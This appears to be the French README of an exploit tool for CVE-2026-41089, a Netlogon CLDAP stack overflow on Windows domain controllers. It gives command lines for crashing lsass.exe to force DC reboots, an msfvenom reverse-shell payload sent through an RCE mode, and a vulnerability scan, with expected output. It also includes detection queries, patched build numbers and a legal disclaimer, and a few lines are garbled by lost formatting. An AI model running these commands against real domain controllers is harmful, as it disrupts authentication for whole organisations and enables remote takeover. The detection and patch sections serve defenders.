
CVE-2026-41089 est une vulnérabilité critique d'exécution de code à distance dans le service Windows Netlogon ; un seul paquet peut faire planter lsass.exe, provoquant le redémarrage du contrôleur de domaine en 30 à 60 secondes. Pendant cette période, toute authentification de domaine sur ce DC échouera.
CVE-ID : CVE-2026-41089
CVSS : 9.8 (Critique)
CWE : CWE-121 (Débordement de pile basé sur la pile)
Vecteur d'attaque : UDP/389 (CLDAP SearchRequest)
Impact : Exécution de code à distance (RCE) / Déni de service (DoS)
Versions affectées : Windows Server 2012 R2 ~ 2025 (Contrôleurs de domaine)
Correctif : Mise à jour cumulative de mai 2026
La fonction NetpLogonPutUnicodeString dans netlogon.dll présente une vulnérabilité de débordement de pile lors du traitement des requêtes de recherche CLDAP. Cette fonction reçoit un budget de longueur en octets, mais l'interprète comme un comptage de WCHAR, ce qui entraîne une écriture 2 fois plus grande que prévu.
Le débordement se produit dans le tampon de pile fixe de 528 octets (264 ushort) de la fonction NlGetLocalPingResponse. Le champ User contrôlé par l'attaquant, combiné au nom de domaine DNS du serveur lui-même, remplit ce tampon, écrasant finalement le cookie de sécurité GS, ce qui déclenche et le crash de .
__report_gsfailurelsass.exeNtVer=0x02 dans la CLDAP SearchRequest (force l'utilisation de l'ancien chemin BuildSamLogonResponse vulnérable)User ≥ ~130 caractères (limite binaire d'environ 260 octets UTF-16)Remarque :
NtVer=0x16(valeur utilisée par de nombreux scripts de détection publics) déclenche le chemin sécuriséBuildSamLogonResponseEx, n'entraînant pas la vulnérabilité.
| Mode | Description |
|---|---|
--mode dos | Envoie un paquet CLDAP spécialement conçu, provoquant le crash de LSASS et le redémarrage du DC (interruption d'authentification d'environ 60 secondes) |
--mode rce | Tente une exécution de code à distance (niveau recherche, nécessite une shellcode) |
--mode scan | Scanne les réponses pour différentes valeurs NtVer, effectue une empreinte du DC cible |
--mode auto | Détection automatique et sélection de la meilleure stratégie d'attaque |
Un seul paquet provoque le crash de lsass.exe, forçant le contrôleur de domaine à redémarrer en 30 à 60 secondes. Pendant cette période, toutes les authentifications de domaine sur ce DC échouent.
# Utilisation de base — envoie 3 paquets
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode dos
# Attaque rapide avec un seul paquet
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 1
# Mode agressif — 5 paquets en concurrence
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 5 --delay 0.1
⚠️ Niveau recherche — peu fiable et instable en environnement réel.
Le RCE est confronté aux défis suivants :
# Générer une shellcode
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 \
-f raw -o shellcode.bin
# Envoyer la chaîne RCE
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode rce \
--shellcode-file shellcode.bin --lhost 10.0.0.5 --lport 4444
# Empreinte du DC cible
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode scan
Exemple de sortie attendue (cible corrigée) :
NtVer=0x00000002 → RESPONDED (3 ms)
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
Exemple de sortie attendue (cible non corrigée) :
NtVer=0x00000002 → TIMEOUT (5001 ms) ← LSASS crashed!
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
Si NtVer=0x02 expire et que les autres versions répondent normalement, la cible est probablement vulnérable.
| Paramètre | Description | Valeur par défaut |
|---|---|---|
-l, --user-len | Longueur du champ nom d'utilisateur (nombre de caractères ASCII) | 180 |
--ntver | Valeur NtVer (hexadécimale, ex. 0x02) | 0x02 |
--count | Nombre de paquets DoS envoyés | 3 |
--delay | Délai entre les paquets (secondes) | 0.5 |
-t, --timeout | Timeout de socket (secondes) | 5.0 |
--json | Affiche les résultats au format JSON | — |
--raw | Affiche le paquet brut en hexadécimal avant envoi | — |
--quiet | Supprime l'affichage de la bannière | — |
--shellcode-file | Fichier de shellcode personnalisé (x64 brut) | — |
--lhost | Adresse d'écoute du reverse shell | — |
--lport | Port d'écoute du reverse shell | 4444 |
# Créer un contrôleur de domaine avec un nom de domaine long sur un Windows Server non corrigé :
# 1. Promouvoir en contrôleur de domaine (nom DNS long, ex. "this-is-a-very-long-domain-name-for-testing.corp.local")
# 2. Vérifier que le patch de mai 2026 n'est pas installé
# 3. Depuis la machine attaquante, exécuter :
python CVE-2026-41089-exp.py <DC_IP> <LONG_DOMAIN_NAME> --mode dos --count 1
# 4. Observer le crash et le redémarrage du DC
User > 100 octets et NtVer = 0x02Event ID: 1000
Faulting process: lsass.exe
Faulting module: netlogon.dll
Exception code: 0xc0000409 (STATUS_STACK_BUFFER_OVERRUN)
index=wineventlog source="WinEventLog:Application" EventID=1000
Process_Name="lsass.exe" Exception_Code="0xc0000409"
Event
| where Source == "Application" and EventID == 1000
| where RenderedDescription contains "lsass.exe"
| where RenderedDescription contains "0xc0000409"
| Version de Windows Server | Numéro de build corrigé | Remarques |
|---|---|---|
| Server 2012 | 6.2.9200.26079 | ESU |
| Server 2012 R2 | 6.3.9600.23181 | ESU |
| Server 2016 | 10.0.14393.9140 | |
| Server 2019 | 10.0.17763.8755 | |
| Server 2022 | 10.0.20348.5074 | |
| Server 2022 23H2 | 10.0.25398.2330 | |
| Server 2025 | 10.0.26100.32772 |
Cet outil est destiné exclusivement aux évaluations de sécurité autorisées, tests d'intrusion, compétitions CTF et recherches défensives. L'utilisation de cet outil sur tout système sans autorisation écrite explicite est illégale. L'utilisateur assume l'entière responsabilité légale.